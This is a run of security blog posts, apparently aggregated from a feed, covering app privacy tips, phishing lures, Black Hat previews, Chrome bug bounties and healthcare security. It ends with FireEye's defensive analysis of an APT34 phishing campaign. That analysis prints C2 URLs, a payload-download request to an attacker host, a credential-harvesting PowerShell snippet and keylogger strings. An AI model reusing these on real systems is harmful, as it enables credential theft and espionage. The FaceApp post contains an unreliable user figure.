Check privacy. The YOLO app is very vague about how its user data is shared. As with any popular app, be mindful of the permissions you grant. Periodically, consider going through your phone settings to review and edit what information an app is collecting. Check to see if an app has access to your photos, location, social map, health information, purchasing habits, contacts, calendar, camera, or more.

Limit YOLO circle. Likely, because the YOLO app went viral so quickly, the site does not include app policies or guidelines or how to report abuses, which is a problem. The only nod to safety is in a brief app description in the Apple store: “YOLO is for positive feedback only. Be kind, respectful, show compassion with other users; otherwise, you will be banned. Please, be mindful of what you send.” To reduce potential bullying, advise kids to only send their questions to people they know and trust with kind responses. If problems arise, encourage kids to delete the app.

Words have power. Removing your face and name from a comment does not dilute the power of the words shared. Remind kids that their words can either be used to build someone up or tear them down and that being “honest” with someone doesn’t include giving mean spirited opinions or taking part in online trends that allow an “anything goes” mentality, as was the case with the TBH (To Be Honest) app.

Consider the tone of a text. Remind your child that even when someone posts something, they may consider funny, it may not be funny to the person on the receiving end. Because of the vulnerability factor of Q & A apps, they can cause unnecessary drama. Intent and inflection often get lost online, and even a seemingly small comment can quickly escalate into a big deal. With more social networks taking steps to reduce online hate speech and bullying, users must do their part and think before posting sensitive comments.

Stress responsibility, and empathy. Relating to others with empathy — putting oneself in the shoes of another person to understand and share their feelings — is often harder to do online than face-to-face. Stress to your child the importance of being responsible online and remembering the real people, with real feelings on the other side of a blank text box.

New apps come out every day. Some catch on like wildfire, like YOLO, and others have traction for a while then fade into cyber oblivion. Regardless of an app’s staying power, discuss app safety with your kids openly and often. Also, as an added layer of protection on devices, consider security software to monitor device activity and block inappropriate apps and websites.

The post YOLO: What Parents Need to Know About the Anonymity App Kids Use with Snapchat appeared first on McAfee Blogs.

Weekly Update 148

Weekly Update 148

It's the last one from Norway before heading off to the US and diving into the deep end of the Project Svalbard pool followed by Black Hat and DEF CON in Vegas. That's off the back of the last week being focused on pushing out Pwned Passwords V5, loading several hundred million new records worth of new data breaches and finally launching something I've been very excited about for a long time now: auth on the HIBP API. I spend most of this week's update talking about that because it's such an important feature and I especially wanted to make it clear why there's now literally a financial price to pay for entry. All that and more in this week's update.

Weekly Update 148
Weekly Update 148
Weekly Update 148

References

  1. Chrome 77 Canary presently has the EV indicator dropped (we always knew this was coming, can we please stop the EV FUD now?)
  2. Pwned Passwords V5 has finally hit! (I spoke about it last week so only touch on it briefly this time)
  3. I've loaded a slew of new breaches into HIBP (the data just doesn't stop coming, that's a link through to the Twitter timeline announcing all the new ones)
  4. The HIBP API now requires authentication (this is a massive change in many ways, do make sure you watch and read if you're using it)
  5. Shape Security is sponsoring my blog this week (Captcha is no longer enough, they're talking about how Shape Connect blocks automation & improves security instantly, with a 30 minute implementation)

Black Hat 2019: Q&A with McAfee

Now in its 22nd year, Black Hat is an information security event showcasing the latest research, newest technology, scariest threats, and biggest trends. Around 19,000 security professionals will be taking over Las Vegas’s Mandalay Bay during the six-day event.

Before the security world convenes the first week in August, I spoke with McAfee leadership and threat researchers about the major themes we should expect to see at Black Hat and DEF CON this year.

Q: What should attendees watch out for at this year’s Black Hat?

Steve Povolny, Head of Advanced Threat Research: This year will piggyback on some of the themes we’ve seen developing in recent Black Hat briefings, including a growing focus on emerging technologies such as autonomous and connected vehicles, blockchain, and 5G, among many others. Some of the key industries under extra scrutiny include industrial control systems, aviation and aerospace, and supply chain. Finally, there is a continued and now-standard focus on crypto, mobile, and cloud/virtualization security.

Douglas McKee, Senior Security Researcher: Once again, Black Hat will have a great variety of talks for both the offensive- and defensive-minded individual. One of the newest topics we are starting to see will be on deepfakes. As social engineering continues to have a large impact on every security discipline, the concept of deepfakes becomes something to watch out for.

Q: What topic(s) do you think will play an important role at this year’s Black Hat and DEF CON?

Povolny: I foresee vehicle security continuing to generate heavy interest, as well as cloud and virtualization attacks. The more popular mobile device sessions are typically well attended, and we’ve had a spate of recent high-profile vulnerabilities that may drive even heavier traffic this year. Industrial controls are receiving renewed focus, though I’m surprised to see little to nothing in the area of medical devices given the security research community’s focus on this topic for the last 12-18 months.

McKee: Topics focused around our critical infrastructure and transportation will continue to play an important role, as these topics are growing fast with a security focus. As major companies continue to strive towards greater automation, how we protect this automation will play a key role in our everyday lives.

Philippe Laulheret, Senior Security Researcher: Although it’s not new, hackers and security researchers are looking into the security of secondary targets and then pivoting towards their main goal, which is usually hardened and more difficult to reach. Of particular interest are two talks centering on communication modules, and few others concerning equipment. Targeting VoIP phones, printers, faxes, etc., is really interesting: These devices sit on the network, are hard to monitor, and if compromised, can be used as a stepping stone to attack other machines. At the same time, they’re also valuable targets for eavesdropping or stealing confidential information.

Q: What is one of the biggest cyber concerns in 2019, and how can consumers or enterprises stay protected?

Povolny: The BlueKeep vulnerability (CVE-2019-0708) is a prime example of what should be top of mind for both enterprises and consumers. As WannaCry quickly taught the world, eliminating legacy operating systems and defunct protocols should be a foremost priority. These systems tend to be the most valuable targets, as attackers can reach millions of targets quickly through self-propagating code. I anticipate we will likely still see BlueKeep exploited publicly, perhaps (and maybe likely) turned into a worm in 2019. This is a rare opportunity for consumers and enterprise to address a likely breach before it happens, and to invest extra attention into removing or securing similar systems.

McKee: In 2019 it is almost impossible to buy a device that doesn’t have an IP address; everything is network connected. As both consumers and enterprises, we need to stay vigilant about what devices and information we are allowing to connect to the internet. Both our homes and offices are only as strong as our weakest device. The industry needs to continue to invest in developing secure products from the beginning while consumers direct extra attention to what they are buying.

Q: What are you hoping to get out of Black Hat or DEF CON this year and what do you want your attendees to take away from your session?

Povolny: I’m always interested in which topics tend to generate the most interest and why. So, I will be curious to see if my assessments of the most interesting topics are on point and will be spending additional time networking with researchers and attendees to find out what is driving them towards the topic. I’ll be speaking on IoT security, which encompasses threats across many of the industries, devices, protocols and technologies being presented at this year’s Black Hat. I’m hoping to give attendees a better understanding of the breadth and depth of the problem space and what the impacts are to them by showing them first-hand research from McAfee’s Advanced Threat Research team on a few IoT targets.

McKee: As a security researcher, I am always most interested in what new techniques the industry has uncovered to continue to find new vulnerabilities. It’s a constant game between evolving protections and new bypasses. In my session at DEFCON, I hope to convey some of the new methods we have used over the last year. More importantly I hope to highlight how, when researchers work together with vendors, very critical vulnerabilities can be swiftly mitigated.

 Laulheret: My presentation, “Intro to Embedded Hacking—How You, Too, Can Find A Decade-old Bug In Widely Deployed Devices,” is part of the DC 101 track and has the same aspiration of sharing one’s passion. The goal of this track is to get people up to speed on topics they are not familiar with yet. Hardware hacking can be intimidating if you are coming from a software background or if you never had any electronic/electricity classes. What I really want for this session is to show people that hardware hacking is neither hard nor scary, and by learning the basics, they will be able to investigate devices from their day-to-day life, potentially finding previously unknown critical flaws. There’s something extremely empowering in gaining the ability to dissect devices that used to be magic black boxes sitting on your network.

Best ways to catch McAfee at Black Hat & DEF CON:

Speaking Sessions:

Black Hat: Internet of Threats – The Current State of IoT Device Security

Steve Povolny, Head of Advanced Threat Research

Wednesday, August 7 | 12:40pm PT | Business Hall Theater B

 

DEF CON: Intro to Embedded Hacking—How You, Too, Can Find A Decade-old Bug In Widely Deployed Devices

Philippe Laulheret, McAfee Security Researcher

Thursday, August 8 | 1:00pm PT | Paris Theater

 

DEF CON: HVACking: Understand the Difference Between Security and Reality

Douglas McKee, McAfee Senior Security Researcher

Mark Bereza, McAfee Security Researcher

Friday, August 9 | 1:00pm PT | Track 2

 

Booth Presence:

Visit us at Booth #914 and test your hacking skills with our Capture the Flag contest.

 

Be sure to follow @McAfee for real-time updates from the show throughout the week.

The post Black Hat 2019: Q&A with McAfee appeared first on McAfee Blogs.

Downloaded FaceApp? Here’s How Your Privacy Is Now Affected

If you’ve been on social media recently, you’ve probably seen some people in your feed posting images of themselves looking elderly. That’s because FaceApp, an AI face editor that went viral in 2017, is making a major comeback with the so-called FaceApp Challenge — where celebrities and others use the app’s old age filter to add decades onto their photos. While many folks have participated in the fun, there are some concerns about the way that the app operates when it comes to users’ personal privacy.

According to Forbes, over 100,000 million people have reportedly downloaded FaceApp from the Google Play Store and the app is the number one downloaded app on the Apple App Store in 121 different countries. But what many of these users are unaware of is that when they download the app, they are granting FaceApp full access to the photos they have uploaded. The company can then use these photos for their benefit, such as training their AI facial recognition algorithm. And while there is currently nothing to indicate that the app is taking photos for malicious intent, it is important for users to be aware that their personal photos may be used for other purposes beyond the original intent.

So, how can users enjoy the entertainment of apps like FaceApp without sacrificing their privacy? Follow these tips to help keep your personal information secure:

  • Think before you upload. It’s always best to err on the side of caution with any personal data and think carefully about what you are uploading or sharing. A good security practice is to only share personal data, including personal photos, when it’s truly necessary.
  • Update your settings. If you’re concerned about FaceApp having permission to access your photos, it’s time to assess the tools on your smartphone. Check which apps have access to information like your photos and location data. Change permissions by either deleting the app or changing your settings on your device.
  • Understand and read the terms. Consumers can protect their privacy by reading the Privacy Policy and terms of service and knowing who they are dealing with.

And, of course, to stay updated on all of the latest consumer and mobile security threats, follow @McAfee_Home on Twitter, listen to our podcast Hackable?, and ‘Like’ us on Facebook.

The post Downloaded FaceApp? Here’s How Your Privacy Is Now Affected appeared first on McAfee Blogs.

How to Spot Phishing Lures

Phishing attacks, in which scammers try to trick you out of your private information or money, are one of the most prevalent threats we see today. Part of the problem is that the cybercriminals have numerous ways in which to hook you, either online, over the phone, or even in person.

In today’s busy world we are often bombarded with information and it can be hard to tell who to trust, and when to be wary. But given that new phishing web pages grew by 900,000 in the third-quarter of 2018 alone, costing consumers and businesses potentially billions of dollars, it’s worth learning more about common phishing lures and how to avoid them. After all, most malware is delivered by phishing attacks, and malware grew by a stunning 53% in the third quarter of last year.

The first thing you should know about phishing is that it almost always involves a form of “social engineering”, in which the scammer tries to manipulate you into trusting them for fraudulent purposes, often by pretending to be a legitimate person or business.

You can get a better idea of how this works by learning about some of the most popular threats circulating today, the first of which are a growing number of business-related scams:

  • The CEO/Executive Scam—This scam appears as an email from a leader in your organization, asking for highly sensitive information like company accounts, employee salaries and Social Security numbers, or even sensitive client information.The hackers “spoof”, or fake, the executive’s email address so it looks like a legitimate internal company email. That’s what makes this, and the other business scams, so convincing—the lure is that you want to do your job well and please your coworkers.
  • The Business Entity Scam—This one targets corporations with the clever trick of filing phony Statements of Information with the Secretary of State using the government’s website. The fraudsters then use these doctored statements to apply for hard money loans, using them to prove they have assets. This scam works because the states don’t double check corporate statements for accuracy.
  • File Sharing & DocuSign—Phony requests to access files in Dropbox accounts are on the rise, tricking workers into clicking on dangerous links that download malware. There has also been a rash of threats masquerading as requests to electronically sign documents, pretending to be legitimate services like DocuSign, which is often used for real estate and other important transactions.
  • The Urgent Email Attachment—Phishing emails that try to trick you into downloading a dangerous attachment that can potentially infect your computer and steal your private information have been around for a long time. This is because they work. You’ve probably received emails asking you to download attachments confirming a package delivery, trip itinerary, or prize. They might urge you to “respond immediately!” The lure here is offering you something you want, and invoking a sense of urgency to get you to click.
  • The “Lucky” Phone Call—How fortunate! You’ve won a free gift, an exclusive service, or a great deal on a trip to Las Vegas. Just remember, whatever “limited time offer” you’re being sold, it’s probably a phishing scam designed to get you to give up your credit card number or identity information. The lure here is something free or exciting at what appears to be little or no cost to you.
  • The Romance Scam—This one can happen completely online, over the phone, or in person once contact is established. But the romance scam always starts with someone supposedly looking for love. The scammer often puts a phony ad online, or poses as a friend-of-a-friend on social media and contacts you directly. But what starts as the promise of love or partnership, often leads to requests for money or pricey gifts. The lure here is simple—love and acceptance.
  • The Mobile Phish—Our heavy use of mobile devices have given scammers yet another avenue of attack. They may distribute fake mobile apps that secretly gather your personal information in the background, or they could send phony text messages, inviting you to click on a dangerous link. Either way, you may be misled by a false sense of trust in who has access to your mobile device. In this case, you may be lured by the convenience of an app, or expediency of a message.

Here are some more smart ways not to get hooked:

  • Be wary of anyone who asks for more information than they need, even if you are talking to a company or bank you do business with.
  • When responding to a message, first check to see if you recognize the sender’s name and email address.
  • Before clicking on a link, hover over it to see if the URL address looks legitimate.
  • Before logging into an online account, make sure the web address is correct.
    Phishers often forge legitimate websites, like online storage accounts, hoping to trick you into entering your login details.
  • Avoid “free” offers, or deals that sound too good to be true. They probably are.
  • Review your bank statements and business filings on a regular basis to check for suspicious activities.
  • Always use comprehensive security software to protect your devices and information from malware and other threats that might result from a phishing scam.

Looking for more mobile security tips and trends? Be sure to follow @McAfee Home on Twitter, and like us on Facebook.

 

The post How to Spot Phishing Lures appeared first on McAfee Blogs.

Bigger Rewards for Security Bugs

Chrome has always been built with security at its core, by a passionate worldwide community as part of the Chromium open source project. We're proud that community includes world class security researchers who help defend Chrome, and other Chromium based browsers.

Back in 2010 we created the Chrome Vulnerability Rewards Program which provides cash rewards to researchers for finding and reporting security bugs that help keep our users safe. Since its inception the program has received over 8,500 reports and paid out over five million dollars! A big thank you to every one of the researchers - it's an honor working with you.

Over the years we've expanded the program, including rewarding full chain exploits on Chrome OS, and the Chrome Fuzzer Program, where we run researchers' fuzzers on thousands of Google cores and automatically submit bugs they find for reward.

Today, we're delighted to announce an across the board increase in our reward amounts! Full details can be found on our program rules page but highlights include tripling the maximum baseline reward amount from $5,000 to $15,000 and doubling the maximum reward amount for high quality reports from $15,000 to $30,000. The additional bonus given to bugs found by fuzzers running under Chrome Fuzzer Program is also doubling to $1,000.

We've also clarified what we consider a high quality report, to help reporters get the highest possible reward, and we've updated the bug categories to better reflect the types of bugs that are reported and that we are most interested in.

But that's not all! On Chrome OS we're increasing our standing reward to $150,000 for exploit chains that can compromise a Chromebook or Chromebox with persistence in guest mode. Security bug in firmware and lock screen bypasses also get their own reward categories.

These new reward amounts will apply to bugs submitted after today on the Chromium bug tracker using the Security template. As always, see the Chrome Vulnerability Reward Program Rules for full details about the program.

In other news, our friends over at the Google Play Security Reward Program have increased their rewards for remote code execution bugs from $5,000 to $20,000, theft of insecure private data from $1,000 to $3,000, and access to protected app components from $1,000 to $3,000. The Google Play Security Reward Program also pays bonus rewards for responsibly disclosing vulnerabilities to participating app developers. Check out the program to learn more and see which apps are in scope.

Happy bug hunting!

Data Privacy and Security Risks in Healthcare

Healthcare is a business much like all verticals I work with; however, it has a whole different set of concerns beyond those of traditional businesses. The compounding threats of malware, data thieves, supply chain issues, and the limited understanding of security within healthcare introduces astronomical risk. Walking through a hospital a few weeks ago, I was quickly reminded of how many different devices are used in healthcare—CT scanners, traditional laptops, desktops, and various other devices that could be classified as IoT.

Sitting in the hospital, I witnessed people reporting for treatment being required to sign and date various forms electronically. Then, on a fixed-function device, patients were asked to provide a palm scan for additional biometric confirmation. Credit card information, patient history, and all sorts of other data was also exchanged. In my opinion, patients should be asking, “Once the sign-in process is complete, where is the patient data stored, and who has access to it? Is it locked away, encrypted, or sent to the “cloud” where it’s stored and retrieved as necessary? If it’s stored on the cloud, who has access to that?” I do recall seeing a form asking that I consent to releasing records electronically, but that brings up a whole new line of questions. I could go on and on …

Are these challenges unique to healthcare? I would contend that at some level, no, they’re not. Every vertical I work with has compounding pressures based on the ever-increasing attack surface area. More devices mean more potential vulnerabilities and risk. Think about your home: You no doubt have internet access through a device you don’t control, a router, and many other devices attached to that network. Each device generally has a unique operating system with its own set of capabilities and with its own set of complexities. Heck, my refrigerator has an IP address associated with it these days! In healthcare, the risks are the same, but on a bigger scale. There are lives at stake, and the various staff members—from doctors, to nurses, to administrators—are there to hopefully focus on the patient and the experience. They don’t have the time or necessarily the education to understand the threat landscape—they simply need the devices and systems in the hospital network to “just work.”

Many times, I see doctors in hospital networks and clinics get fed up with having to enter and change passwords. As a result, they’ll bring in their personal laptops to bypass what IT security has put in place. Rogue devices have always been an issue, and since those devices are accessing patient records without tight security controls, they are a conduit for data loss. Furthermore, that data is being accessed from outside the network using cloud services. Teleradiology is a great example of how many different access points there are for patient data—from the referring doctor, to the radiologist, to the hospital, and more.

Figure 1:  Remote Tele-radiology Architecture

With healthcare, as in most industries, the exposure risk is potentially great. The solution, as always, will come from identifying the most important thing that needs to be protected, and figuring out the best way to safeguard it. In this case, it is patient data, but that data is not just sitting locked up in a file cabinet in the back of the office anymore. The data is everywhere—it’s on laptops, mobile devices, servers, and now more than ever in cloud services such as IaaS, PaaS and SaaS. Fragmented data drives great uncertainty as to where the data is and who has access to it.

The security industry as a whole needs to step up. There is a need for a unified approach to healthcare data. No matter where it sits, there needs to be some level of technical control over it based on who needs access to it. Furthermore, as that data is traversing between traditional data centers and the cloud, we need to be able to track where it is and whether or not it has the right permissions assigned to it.

The market has sped up, and new trends in technology are challenging organizations every day. In order to help you keep up, McAfee for Healthcare (and other verticals) are focusing on the following areas:

  • Device – OS platforms—including mobile devices, Chrome Books and IoT—are increasingly locked down, but the steadily increasing number of devices provides other avenues for attack and data loss.
  • Network – Networks are becoming more opaque. HTTP is rarely used anymore in favor of HTTPS, so the need for a CASB safety net is essential in order to see the data stored with services such as Box or OneDrive.
  • Cloud – With workloads increasingly moving to the cloud, the traditional datacenter has been largely replaced by IaaS and PaaS environments. Lines of business are moving to the cloud with little oversight from the security teams.
  • Talent – Security expertise is extremely difficult to find. The talent shortage is real, particularly when it comes to cloud and cloud security. There is also a major shortage in quality security professionals capable of threat hunting and incident response.

McAfee has a three-pronged approach to addressing and mitigating these concerns:

  • Platform Approach – Unified management and orchestration with a consistent user experience and differentiated insights, delivered in the cloud.
    • To enhance the platform, there is a large focus on Platform Driven Managed Services—focused on selling outcomes, not just technology.
  • Minimized Device Footprint – Powerful yet minimally invasive protection, detection and response spanning full-stack tech, native engine management and ‘as a service’ browser isolation. This is becoming increasingly important as the typical healthcare environment has an increasing variety of endpoints but continues to be limited in resources such as RAM and CPU.
  • Unified Cloud Security – Spanning data centers, integrated web gateway/SaaS, DLP and CASB. The unification of these technologies provides a safety net for data moving to the cloud, as well as the ability to enforce controls as data moves from on-premise to cloud services. Furthermore, the unification of DLP and CASB offers a “1 Policy” for both models, making administration simpler and more consistent. Consistent policy definition and enforcement is ideal for healthcare, where patient data privacy is essential.

In summary, security in healthcare is a complex undertaking. A vast attack surface area, the transformation to cloud services, the need for data privacy and the talent shortage compound the overall problem of security in healthcare. At McAfee, we plan to address these issues through innovative technologies that offer a consistent way to define policy by leveraging a superior platform. We’re also utilizing sophisticated machine learning to simplify the detection of and response to bad actors and malware. These technologies are ideal for healthcare and will offer any healthcare organization long-term stability across the spectrum of security requirements.

The post Data Privacy and Security Risks in Healthcare appeared first on McAfee Blogs.

Hard Pass: Declining APT34’s Invite to Join Their Professional Network

Background

With increasing geopolitical tensions in the Middle East, we expect Iran to significantly increase the volume and scope of its cyber espionage campaigns. Iran has a critical need for strategic intelligence and is likely to fill this gap by conducting espionage against decision makers and key organizations that may have information that furthers Iran's economic and national security goals. The identification of new malware and the creation of additional infrastructure to enable such campaigns highlights the increased tempo of these operations in support of Iranian interests.

FireEye Identifies Phishing Campaign

In late June 2019, FireEye identified a phishing campaign conducted by APT34, an Iranian-nexus threat actor. Three key attributes caught our eye with this particular campaign:

  1. Masquerading as a member of Cambridge University to gain victims’ trust to open malicious documents,
  2. The usage of LinkedIn to deliver malicious documents,
  3. The addition of three new malware families to APT34’s arsenal.

FireEye’s platform successfully thwarted this attempted intrusion, stopping a new malware variant dead in its tracks. Additionally, with the assistance of our FireEye Labs Advanced Reverse Engineering (FLARE), Intelligence, and Advanced Practices teams, we identified three new malware families and a reappearance of PICKPOCKET, malware exclusively observed in use by APT34. The new malware families, which we will examine later in this post, show APT34 relying on their PowerShell development capabilities, as well as trying their hand at Golang.

APT34 is an Iran-nexus cluster of cyber espionage activity that has been active since at least 2014. They use a mix of public and non-public tools to collect strategic information that would benefit nation-state interests pertaining to geopolitical and economic needs. APT34 aligns with elements of activity reported as OilRig and Greenbug, by various security researchers. This threat group has conducted broad targeting across a variety of industries operating in the Middle East; however, we believe APT34's strongest interest is gaining access to financial, energy, and government entities.

Additional research on APT34 can be found in this FireEye blog post, this CERT-OPMD post, and this Cisco post.

Managed Defense also initiated a Community Protection Event (CPE) titled “Geopolitical Spotlight: Iran.” This CPE was created to ensure our customers are updated with new discoveries, activity and detection efforts related to this campaign, along with other recent activity from Iranian-nexus threat actors to include APT33, which is mentioned in this updated FireEye blog post.

Industries Targeted

The activities observed by Managed Defense, and described in this post, were primarily targeting the following industries:

  • Energy and Utilities
  • Government
  • Oil and Gas

Utilizing Cambridge University to Establish Trust

On June 19, 2019, FireEye’s Managed Defense Security Operations Center received an exploit detection alert on one of our FireEye Endpoint Security appliances. The offending application was identified as Microsoft Excel and was stopped immediately by FireEye Endpoint Security’s ExploitGuard engine. ExploitGuard is our behavioral monitoring, detection, and prevention capability that monitors application behavior, looking for various anomalies that threat actors use to subvert traditional detection mechanisms. Offending applications can subsequently be sandboxed or terminated, preventing an exploit from reaching its next programmed step.

The Managed Defense SOC analyzed the alert and identified a malicious file named System.doc (MD5: b338baa673ac007d7af54075ea69660b), located in C:\Users\<user_name>\.templates. The file System.doc is a Windows Portable Executable (PE), despite having a "doc" file extension. FireEye identified this new malware family as TONEDEAF.

A backdoor that communicates with a single command and control (C2) server using HTTP GET and POST requests, TONEDEAF supports collecting system information, uploading and downloading of files, and arbitrary shell command execution. When executed, this variant of TONEDEAF wrote encrypted data to two temporary files – temp.txt and temp2.txt – within the same directory of its execution. We explore additional technical details of TONEDEAF in the malware appendix of this post.

Retracing the steps preceding exploit detection, FireEye identified that System.doc was dropped by a file named ERFT-Details.xls. Combining endpoint- and network-visibility, we were able to correlate that ERFT-Details.xls originated from the URL http://www.cam-research-ac[.]com/Documents/ERFT-Details.xls. Network evidence also showed the access of a LinkedIn message directly preceding the spreadsheet download.

Managed Defense reached out to the impacted customer’s security team, who confirmed the file was received via a LinkedIn message. The targeted employee conversed with "Rebecca Watts", allegedly employed as "Research Staff at University of Cambridge". The conversation with Ms. Watts, provided in Figure 1, began with the solicitation of resumes for potential job opportunities.


Figure 1: Screenshot of LinkedIn message asking to download TONEDEAF

This is not the first time we’ve seen APT34 utilize academia and/or job offer conversations in their various campaigns. These conversations often take place on social media platforms, which can be an effective delivery mechanism if a targeted organization is focusing heavily on e-mail defenses to prevent intrusions.

FireEye examined the original file ERFT-Details.xls, which was observed with at least two unique MD5 file hashes:

  • 96feed478c347d4b95a8224de26a1b2c
  • caf418cbf6a9c4e93e79d4714d5d3b87

A snippet of the VBA code, provided in Figure 2, creates System.doc in the target directory from base64-encoded text upon opening.


Figure 2: Screenshot of VBA code from System.doc

The spreadsheet also creates a scheduled task named "windows update check" that runs the file C:\Users\<user_name>\.templates\System Manager.exe every minute. Upon closing the spreadsheet, a final VBA function will rename System.doc to System Manager.exe. Figure 3 provides a snippet of VBA code that creates the scheduled task, clearly obfuscated to avoid simple detection.


Figure 3: Additional VBA code from System.doc

Upon first execution of TONEDEAF, FireEye identified a callback to the C2 server offlineearthquake[.]com over port 80.

The FireEye Footprint: Pivots and Victim Identification

After identifying the usage of offlineearthquake[.]com as a potential C2 domain, FireEye’s Intelligence and Advanced Practices teams performed a wider search across our global visibility. FireEye’s Advanced Practices and Intelligence teams were able to identify additional artifacts and activity from the APT34 actors at other victim organizations. Of note, FireEye discovered two additional new malware families hosted at this domain, VALUEVAULT and LONGWATCH. We also identified a variant of PICKPOCKET, a browser credential-theft tool FireEye has been tracking since May 2018, hosted on the C2.

Requests to the domain offlineearthquake[.]com could take multiple forms, depending on the malware’s stage of installation and purpose. Additionally, during installation, the malware retrieves the system and current user names, which are used to create a three-character “sys_id”. This value is used in subsequent requests, likely to track infected target activity. URLs were observed with the following structures:

  • hxxp[://]offlineearthquake[.]com/download?id=<sys_id>&n=000
  • hxxp[://]offlineearthquake[.]com/upload?id=<sys_id>&n=000
  • hxxp[://]offlineearthquake[.]com/file/<sys_id>/<executable>?id=<cmd_id>&h=000
  • hxxp[://]offlineearthquake[.]com/file/<sys_id>/<executable>?id=<cmd_id>&n=000

The first executable identified by FireEye on the C2 was WinNTProgram.exe (MD5: 021a0f57fe09116a43c27e5133a57a0a), identified by FireEye as LONGWATCH. LONGWATCH is a keylogger that outputs keystrokes to a log.txt file in the Window’s temp folder. Further information regarding LONGWATCH is detailed in the Malware Appendix section at the end of the post.

FireEye Network Security appliances also detected the following being retrieved from APT34 infrastructure (Figure 4).

GET hxxp://offlineearthquake.com/file/<sys_id>/b.exe?id=<3char_redacted>&n=000
User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0)
AppleWebKit/537.36 (KHTML, like Gecko)
Host: offlineearthquake[.]com
Proxy-Connection: Keep-Alive Pragma: no-cache HTTP/1.1

Figure 4: Snippet of HTTP traffic retrieving VALUEVAULT; detected by FireEye Network Security appliance

FireEye identifies b.exe (MD5: 9fff498b78d9498b33e08b892148135f) as VALUEVAULT.

VALUEVAULT is a Golang compiled version of the "Windows Vault Password Dumper" browser credential theft tool from Massimiliano Montoro, the developer of Cain & Abel.

VALUEVAULT maintains the same functionality as the original tool by allowing the operator to extract and view the credentials stored in the Windows Vault. Additionally, VALUEVAULT will call Windows PowerShell to extract browser history in order to match browser passwords with visited sites. Further information regarding VALUEVAULT can be found in the appendix below.

Further pivoting from FireEye appliances and internal data sources yielded two additional files, PE86.dll (MD5: d8abe843db508048b4d4db748f92a103) and PE64.dll (MD5: 6eca9c2b7cf12c247032aae28419319e). These files were analyzed and determined to be 64- and 32-bit variants of the malware PICKPOCKET, respectively.

PICKPOCKET is a credential theft tool that dumps the user's website login credentials from Chrome, Firefox, and Internet Explorer to a file. This tool was previously observed during a Mandiant incident response in 2018 and, to date, solely utilized by APT34.

Conclusion

The activity described in this blog post presented a well-known Iranian threat actor utilizing their tried-and-true techniques to breach targeted organizations. Luckily, with FireEye’s platform in place, our Managed Defense customers were not impacted. Furthermore, upon the blocking of this activity, FireEye was able to expand upon the observed indicators to identify a broader campaign, as well as the use of new and old malware.

We suspect this will not be the last time APT34 brings new tools to the table. Threat actors are often reshaping their TTPs to evade detection mechanisms, especially if the target is highly desired. For these reasons, we recommend organizations remain vigilant in their defenses, and remember to view their environment holistically when it comes to information security.

Malware Appendix

TONEDEAF

TONEDEAF is a backdoor that communicates with Command and Control servers using HTTP or DNS. Supported commands include system information collection, file upload, file download, and arbitrary shell command execution. Although this backdoor was coded to be able to communicate with DNS requests to the hard-coded Command and Control server, c[.]cdn-edge-akamai[.]com, it was not configured to use this functionality. Figure 5 provides a snippet of the assembly CALL instruction of dns_exfil. The creator likely made this as a means for future DNS exfiltration as a plan B.


Figure 5: Snippet of code from TONEDEAF binary

Aside from not being enabled in this sample, the DNS tunneling functionality also contains missing values and bugs that prevent it from executing properly. One such bug involves determining the length of a command response string without accounting for Unicode strings. As a result, a single command response byte is sent when, for example, the malware executes a shell command that returns Unicode output. Additionally, within the malware, an unused string contained the address 185[.]15[.]247[.]154.

VALUEVAULT

VALUEVAULT is a Golang compiled version of the “Windows Vault Password Dumper” browser credential theft tool from Massimiliano Montoro, the developer of Cain & Abel.

VALUEVAULT maintains the same functionality as the original tool by allowing the operator to extract and view the credentials stored in the Windows Vault. Additionally, VALUEVAULT will call Windows PowerShell to extract browser history in order to match browser passwords with visited sites. A snippet of this function is shown in Figure 6.

powershell.exe /c "function get-iehistory {. [CmdletBinding()]. param (). . $shell = New-Object -ComObject Shell.Application. $hist = $shell.NameSpace(34). $folder = $hist.Self. . $hist.Items() | . foreach {. if ($_.IsFolder) {. $siteFolder = $_.GetFolder. $siteFolder.Items() | . foreach {. $site = $_. . if ($site.IsFolder) {. $pageFolder = $site.GetFolder. $pageFolder.Items() | . foreach {. $visit = New-Object -TypeName PSObject -Property @{ . URL = $($pageFolder.GetDetailsOf($_,0)) . }. $visit. }. }. }. }. }. }. get-iehistory

Figure 6: Snippet of PowerShell code from VALUEVAULT to extract browser credentials

Upon execution, VALUEVAULT creates a SQLITE database file in the AppData\Roaming directory under the context of the user account it was executed by. This file is named fsociety.dat and VALUEVAULT will write the dumped passwords to this in SQL format. This functionality is not in the original version of the “Windows Vault Password Dumper”. Figure 7 shows the SQL format of the fsociety.dat file.


Figure 7: SQL format of the VALUEVAULT fsociety.dat SQLite database

VALUEVAULT’s function names are not obfuscated and are directly reviewable in strings analysis. Other developer environment variables were directly available within the binary as shown below. VALUEVAULT does not possess the ability to perform network communication, meaning the operators would need to manually retrieve the captured output of the tool.

C:/Users/<redacted>/Desktop/projects/go/src/browsers-password-cracker/new_edge.go
C:/Users/<redacted>/Desktop/projects/go/src/browsers-password-cracker/mozila.go
C:/Users/<redacted>/Desktop/projects/go/src/browsers-password-cracker/main.go
C:/Users/<redacted>/Desktop/projects/go/src/browsers-password-cracker/ie.go
C:/Users/<redacted>/Desktop/projects/go/src/browsers-password-cracker/Chrome Password Recovery.go

Figure 8: Golang files extracted during execution of VALUEVAULT

LONGWATCH

FireEye identified the binary WinNTProgram.exe (MD5:021a0f57fe09116a43c27e5133a57a0a) hosted on the malicious domain offlineearthquake[.]com. FireEye identifies this malware as LONGWATCH. The primary function of LONGWATCH is a keylogger that outputs keystrokes to a log.txt file in the Windows temp folder.

Interesting strings identified in the binary are shown in Figure 9.

GetAsyncKeyState
>---------------------------------------------------\n\n
c:\\windows\\temp\\log.txt
[ENTER]
[CapsLock]
[CRTL]
[PAGE_UP]
[PAGE_DOWN]
[HOME]
[LEFT]
[RIGHT]
[DOWN]
[PRINT]
[PRINT SCREEN] (1 space)
[INSERT]
[SLEEP]
[PAUSE]
\n---------------CLIPBOARD------------\n
\n\n >>>  (2 spaces)
c:\\windows\\temp\\log.txt

Figure 9: Strings identified in a LONGWATCH binary

Detecting the Techniques

FireEye detects this activity across our platforms, including named detection for TONEDEAF, VALUEVAULT, and LONGWATCH. Table 2 contains several specific detection names that provide an indication of APT34 activity.

Signature Name

FE_APT_Keylogger_Win_LONGWATCH_1

FE_APT_Keylogger_Win_LONGWATCH_2

FE_APT_Keylogger_Win32_LONGWATCH_1

FE_APT_HackTool_Win_PICKPOCKET_1

FE_APT_Trojan_Win32_VALUEVAULT_1

